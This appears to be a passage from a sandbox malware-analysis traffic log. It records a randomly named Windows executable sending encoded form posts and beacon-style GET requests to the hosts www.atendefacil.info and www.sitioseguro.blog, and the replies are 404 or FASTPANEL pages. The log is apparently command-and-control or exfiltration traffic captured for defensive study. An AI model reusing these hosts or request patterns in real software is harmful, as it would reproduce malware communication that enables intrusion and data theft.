78 2f 2f 7a 2b 57 2b 7a 63 6a 70 79 65 77 63 6f 2f 43 63 47 4d 65 4b 41 49 2b 7a 67 43 75 74 73 6a 45 31 57 73 78 59 42 65 67 4c 65 63 42 2b 50 5a 6e 61 56 63 69 71 38 4c 61 69 61 30 68 52 66 6a 73 50 7a 44 6a 79 63 52 57 2b 71 35 37 39 6e 59 6a 34 48 5a 2f 69 36 65 35 43 38 56 4b 4a 67 5a 4d 3d Data Ascii: BHptZ6F=CGsRQZD1c2LTSYRepz6SZSSvse5ZBkObEXuVtFNZZfyonL5jjjRaz2KnPTI8zUtqPmn3ieugeR2xF0pSXuc/xFnrOXGC7bldMK7rJfZGUCTYHXq/o7z37x//z+W+zcjpyewco/CcGMeKAI+zgCutsjE1WsxYBegLecB+PZnaVciq8Laia0hRfjsPzDjycRW+q579nYj4HZ/i6e5C8VKJgZM=
Dec 6, 2024 17:37:41.387670040 CET	481	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:41 GMT Server: Apache/2 Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.12	49843	208.115.225.220	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:42.931548119 CET	1823	OUT	POST /gua3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.atendefacil.info Origin: http://www.atendefacil.info Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.atendefacil.info/gua3/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 43 47 73 52 51 5a 44 31 63 32 4c 54 53 59 52 65 70 7a 36 53 5a 53 53 76 73 65 35 5a 42 6b 4f 62 45 58 75 56 74 46 4e 5a 5a 66 36 6f 6d 37 6c 6a 6c 41 35 61 79 32 4b 6e 54 44 49 39 7a 55 74 4e 50 6e 43 77 69 65 69 57 65 54 4f 78 45 55 31 53 65 37 77 2f 2f 31 6e 72 54 48 47 35 6d 72 6b 46 4d 4b 71 69 4a 66 4a 47 55 43 54 59 48 56 43 2f 76 71 7a 33 6f 42 2f 2b 6c 4f 57 36 33 63 6a 53 79 66 56 6a 6f 2f 58 70 47 38 2b 4b 42 6f 75 7a 74 55 36 74 6a 6a 45 33 58 73 77 59 42 65 63 41 65 63 63 42 50 64 6e 67 56 62 4f 71 2b 4b 36 2b 4a 31 35 36 4a 6c 6f 54 78 52 44 31 45 6d 76 7a 70 4c 33 53 76 75 50 48 45 34 61 79 35 4e 73 6c 6e 6e 7a 50 2f 2f 50 78 43 30 54 4e 39 2b 38 52 70 56 5a 69 68 36 52 30 72 61 63 48 4c 68 66 69 44 7a 65 47 76 57 41 79 66 4f 44 6e 4b 77 43 6f 38 51 56 6a 76 32 66 37 37 43 76 62 4f 4b 71 46 4f 32 39 67 66 61 48 75 63 47 45 33 56 4f 2f 4c 71 51 65 44 61 71 72 48 2f 65 45 36 50 70 69 41 39 62 73 30 63 69 75 66 51 63 47 4c 76 4b 47 62 51 4d 45 30 34 36 50 4d 7a 52 [TRUNCATED] Data Ascii: BHptZ6F=CGsRQZD1c2LTSYRepz6SZSSvse5ZBkObEXuVtFNZZf6om7ljlA5ay2KnTDI9zUtNPnCwieiWeTOxEU1Se7w//1nrTHG5mrkFMKqiJfJGUCTYHVC/vqz3oB/+lOW63cjSyfVjo/XpG8+KBouztU6tjjE3XswYBecAeccBPdngVbOq+K6+J156JloTxRD1EmvzpL3SvuPHE4ay5NslnnzP//PxC0TN9+8RpVZih6R0racHLhfiDzeGvWAyfODnKwCo8QVjv2f77CvbOKqFO29gfaHucGE3VO/LqQeDaqrH/eE6PpiA9bs0ciufQcGLvKGbQME046PMzRMV/XxcSbXlOLLjhTbspqjWmGSHePlquSeVtQQADn92yxWP6Lp8vms1g1mdHFAaWI0o8CbWep7PbwumvpRCacrl1QsLB+VZnyY9nM4UNGL2aKvdKFlk8oAPtyqHmNAIGbXo1E89XjgJxcsqNbM6zDzDArFLMIqlZ0a8jjWc94z/sATkJmar7EMKW4eB4tRiUdWVS9mU6F1MLdo+Er29MRRz7NG1cWO+1zE5M/UZM88VPJARzWv16pyQF5zXyXqb7D8CWm9z/raS/y7Gs7lFBMqoy3maxTHoSVMs2KyNxEdJApCRsWM8B77vMlOmNGoS5+KDUVMgbwZjWAu1kN1Jt510yIRxGGeF6M5pcaeauFjkbJ7pFNpGuS7xoCtqU2QRucaPqj6JCeKBwWIVF0QodhsBQqxo55RVk255ohREpF21Jj431EFDj7ZAN+zh3oDNRQoks7AiYFhzqBqyOWA9YpKNYLr6W9ipp5bnjtc0zENR9AmGhFE+XxTNL6/EQSfb1EtSgzA6lsE74PUKXzDTeETN/LXJGloe+79vjKQFQ17CD9WtZE0ulunhg5Pq55HXUNHput00Fbw4RTKo8NeTWhmHmzh5uX5pPoK/WcawfM0q5ZePMIJTCXNwT8WNWFRoVueDWz66gZx/wkKr7XlnN8KI8YqjL3CUnCvP [TRUNCATED]
Dec 6, 2024 17:37:44.065747976 CET	481	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:43 GMT Server: Apache/2 Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.12	49849	208.115.225.220	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:45.604543924 CET	518	OUT	GET /gua3/?RZ=0nkpmZbx9Z4P2&BHptZ6F=PEExTvPebnfdN5xst02JMzGti5FnGkiLE22WiywfEIelsbdwqCVd6ByVLBEklw1lRQ+mhNbJQBi9PlJBFsZX42nwE3ew6u8Wba+OVKdJMXKWWGbfqYbjt0U= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.atendefacil.info Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:37:46.782130003 CET	481	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:46 GMT Server: Apache/2 Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.12	49886	172.67.162.39	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:01.163803101 CET	790	OUT	POST /k4tn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.sitioseguro.blog Origin: http://www.sitioseguro.blog Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.sitioseguro.blog/k4tn/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 5a 75 62 52 76 67 65 38 56 62 54 6b 7a 53 67 32 4c 39 61 4b 52 5a 6e 5a 30 77 69 6b 4c 75 43 57 51 38 2b 68 7a 4c 70 77 67 44 35 6c 63 59 4a 64 35 6f 32 2b 4d 4a 34 41 49 53 50 6f 48 39 48 4f 76 6e 78 69 6d 77 6b 55 6c 64 4a 2b 47 75 47 53 47 48 75 39 59 41 79 58 39 42 44 61 74 4e 6f 37 71 78 4a 75 31 66 64 45 35 64 4f 45 38 30 77 2b 64 75 5a 4b 67 6a 31 69 6c 32 73 72 53 4a 72 77 36 34 34 31 50 70 2f 61 39 61 66 39 43 2b 73 4c 2b 4f 42 34 79 41 62 67 65 4e 41 4d 50 31 6a 4d 77 35 6b 2b 48 74 49 47 73 79 38 52 7a 6a 6e 55 65 57 37 75 64 73 72 36 63 31 2f 32 73 4a 65 6b 67 51 3d 3d Data Ascii: BHptZ6F=ZubRvge8VbTkzSg2L9aKRZnZ0wikLuCWQ8+hzLpwgD5lcYJd5o2+MJ4AISPoH9HOvnximwkUldJ+GuGSGHu9YAyX9BDatNo7qxJu1fdE5dOE80w+duZKgj1il2srSJrw6441Pp/a9af9C+sL+OB4yAbgeNAMP1jMw5k+HtIGsy8RzjnUeW7udsr6c1/2sJekgQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.12	49892	172.67.162.39	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:03.833421946 CET	810	OUT	POST /k4tn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.sitioseguro.blog Origin: http://www.sitioseguro.blog Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.sitioseguro.blog/k4tn/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 5a 75 62 52 76 67 65 38 56 62 54 6b 69 43 51 32 47 36 4f 4b 54 35 6e 57 37 51 69 6b 51 65 43 53 51 38 79 68 7a 4f 4a 67 67 78 64 6c 63 36 42 64 32 4d 69 2b 4c 4a 34 41 47 79 50 70 5a 4e 48 52 76 6e 39 63 6d 30 34 55 6c 64 4e 2b 47 73 65 53 47 30 47 79 5a 51 79 56 31 68 44 59 69 74 6f 37 71 78 4a 75 31 62 38 52 35 64 47 45 38 6e 59 2b 64 50 5a 4a 6a 6a 31 74 30 32 73 72 46 5a 72 30 36 34 35 61 50 73 43 2f 39 5a 72 39 43 2b 63 4c 6e 2f 42 33 37 41 62 69 54 74 42 2f 66 77 2b 34 70 72 51 70 47 37 77 6e 73 77 67 4f 37 46 71 4f 42 6b 7a 34 49 76 2f 33 52 69 47 47 68 4b 6a 74 37 61 7a 35 51 6f 43 56 4c 69 2f 77 4c 52 6d 55 77 65 4f 75 58 32 77 3d Data Ascii: BHptZ6F=ZubRvge8VbTkiCQ2G6OKT5nW7QikQeCSQ8yhzOJggxdlc6Bd2Mi+LJ4AGyPpZNHRvn9cm04UldN+GseSG0GyZQyV1hDYito7qxJu1b8R5dGE8nY+dPZJjj1t02srFZr0645aPsC/9Zr9C+cLn/B37AbiTtB/fw+4prQpG7wnswgO7FqOBkz4Iv/3RiGGhKjt7az5QoCVLi/wLRmUweOuX2w=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.12	49898	172.67.162.39	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:06.510576010 CET	1823	OUT	POST /k4tn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.sitioseguro.blog Origin: http://www.sitioseguro.blog Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.sitioseguro.blog/k4tn/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 5a 75 62 52 76 67 65 38 56 62 54 6b 69 43 51 32 47 36 4f 4b 54 35 6e 57 37 51 69 6b 51 65 43 53 51 38 79 68 7a 4f 4a 67 67 78 56 6c 62 4a 5a 64 35 4c 65 2b 4b 4a 34 41 4f 53 50 6b 5a 4e 48 63 76 6e 6c 51 6d 30 30 62 6c 66 46 2b 47 4a 4b 53 41 46 47 79 57 51 79 56 33 68 44 56 74 4e 6f 55 71 78 5a 71 31 66 59 52 35 64 47 45 38 68 6b 2b 61 65 5a 4a 6c 6a 31 69 6c 32 73 76 53 4a 71 52 36 35 52 67 50 74 53 42 38 71 7a 39 43 65 4d 4c 38 70 39 33 30 41 62 6b 57 74 42 6e 66 77 36 6e 70 76 77 54 47 2f 34 42 73 79 67 4f 2f 7a 76 4a 46 31 2f 6c 4b 50 7a 57 43 52 4f 2f 6a 59 7a 77 32 6f 6a 36 54 76 53 6a 4f 52 58 6b 52 57 4c 6a 6f 4c 57 4e 42 67 59 74 46 66 5a 69 74 4d 48 6b 53 4f 75 63 52 50 50 44 32 78 71 4c 78 6d 72 6b 31 68 55 42 6f 76 61 38 71 36 61 48 36 70 76 70 42 4b 77 47 74 39 39 76 33 52 48 67 45 76 4d 41 30 6c 57 56 4a 70 46 41 4f 74 55 58 46 45 78 77 35 55 4f 61 54 64 7a 67 59 6c 49 47 41 38 33 50 54 57 4f 46 75 55 55 6e 79 77 75 5a 6a 48 4e 66 41 49 72 31 6b 34 7a 4c 72 54 [TRUNCATED] Data Ascii: BHptZ6F=ZubRvge8VbTkiCQ2G6OKT5nW7QikQeCSQ8yhzOJggxVlbJZd5Le+KJ4AOSPkZNHcvnlQm00blfF+GJKSAFGyWQyV3hDVtNoUqxZq1fYR5dGE8hk+aeZJlj1il2svSJqR65RgPtSB8qz9CeML8p930AbkWtBnfw6npvwTG/4BsygO/zvJF1/lKPzWCRO/jYzw2oj6TvSjORXkRWLjoLWNBgYtFfZitMHkSOucRPPD2xqLxmrk1hUBova8q6aH6pvpBKwGt99v3RHgEvMA0lWVJpFAOtUXFExw5UOaTdzgYlIGA83PTWOFuUUnywuZjHNfAIr1k4zLrTBSJLejX7n/oodWkO25j9OOTOqnmKagWft770HmTAL5Fo5gB0uxXF5U4oWn1LZFJIeV51rmRWZ8wHMXd7mZmDD/DilIh7hE0+l8kLOh+F9a4pPhVtFD0L7ZHU3dqvkxYT2gkmQVMo0VO3oGDBUJsMykVRhdAJphz9KO/TemyE9vqTuda02+bD3pT4LEjxCNbmQ+1M9VHRQz43tCSjb6t7h84weBGjzdSZyWbr0te21xV4UDA+A1z4WZ+OibhpMlFrulSaLivyJ/H0sfTQMdAM83WjqbU9a25vDF+HeB5HYwaFjG91nGnC5ZDeUOHdQuBWnAwYtqX6nGW6Te5e/iGC98g1mvjeBWrsJUeJ4TNlcrQW5lKTqCaMlQ96Mw/AncsOPVU2c1PPi9Zws+l2YtrHRt/FfXPUW0NvZGNCa1ie2JW1pATLhWXjUvYYrVuGb6XeTwhh/N7WV20zFk/XYh4ptUc8/Y/UNdwI3VKG1tQH35vPpu1CSAWsM81EklcCnbLTVvF3B2bjkbjauACOCyiVksIWqa+YHxfOGrZtT0lfOz2vFewCKC+WSiKwKf1P4fake4OaTF7yK+4gRmN25XP4dOPM6ks0gru+for1aMXuXyElNxNkWNjjJgGe/fcePCe8SeUQsRjPiyFzyrA4Qure7evCcuuaU9nKjS [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.12	49908	172.67.162.39	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:09.171531916 CET	518	OUT	GET /k4tn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=UszxsXnyXaHrix4mOaqJD7vMyBmxMOeCUNKfuMYEqjdUerJZ7q+fEOQwPEbVbpTJrGRa9GB6/NRWLuSsaWPLUhjS0DDan+QLtyBM3L4kv6zOvH8nY/xHjUE= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.sitioseguro.blog Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:38:11.821933985 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 16:38:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H2lGTZStjYhWCBqll1jtRlQvwmz5W%2FZyOMhryFF%2BaT5lvS2nrKgABPdf0m%2F2xi4KKl7Nvf%2BTaKSsKXuTtWoKBWcCMArTra5WjUfu6X3bVBJ2D%2FSP29EdgUEm3RgZ9RuHzBbH81iN7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eddb4692c8972c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2042&min_rtt=2042&rtt_var=1021&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=518&delivery_rate=0&cwnd=162&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d [TRUNCATED] Data Ascii: b50<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,l
Dec 6, 2024 17:38:11.821950912 CET	1236	IN	Data Raw: 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 6d 61 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f Data Ascii: abel{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-
Dec 6, 2024 17:38:11.821973085 CET	1236	IN	Data Raw: 2e 73 76 67 2d 6f 6e 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 34 30 70 78 3b 72 69 67 68 74 3a 2d 33 36 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 20 2e 73 76 67 2d 74 77 Data Ascii: .svg-one{position:absolute;top:-240px;right:-360px;z-index:-1}.window-main .svg-two{position:absolute;bottom:-258px;left:-223px;z-index:-1}.window-main__title{text-align:center;padding-bottom:1.875rem;position:relative;font-weight:500;line-hei
Dec 6, 2024 17:38:11.821984053 CET	39	IN	Data Raw: 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 36 38 37 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 0d 0a Data Ascii: adding-left:.6875rem}.window-main__it
Dec 6, 2024 17:38:11.852727890 CET	1236	IN	Data Raw: 31 36 35 37 0d 0a 65 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 38 37 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 3a 31 2e 35 72 65 6d Data Ascii: 1657em{padding-left:.875rem}}@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{padding-l
Dec 6, 2024 17:38:11.852749109 CET	1236	IN	Data Raw: 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 2e 37 38 30 34 38 Data Ascii: 78049vw ,3.75rem)){.window-main{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:calc(1.5rem + 2.25*(100vw - 20re
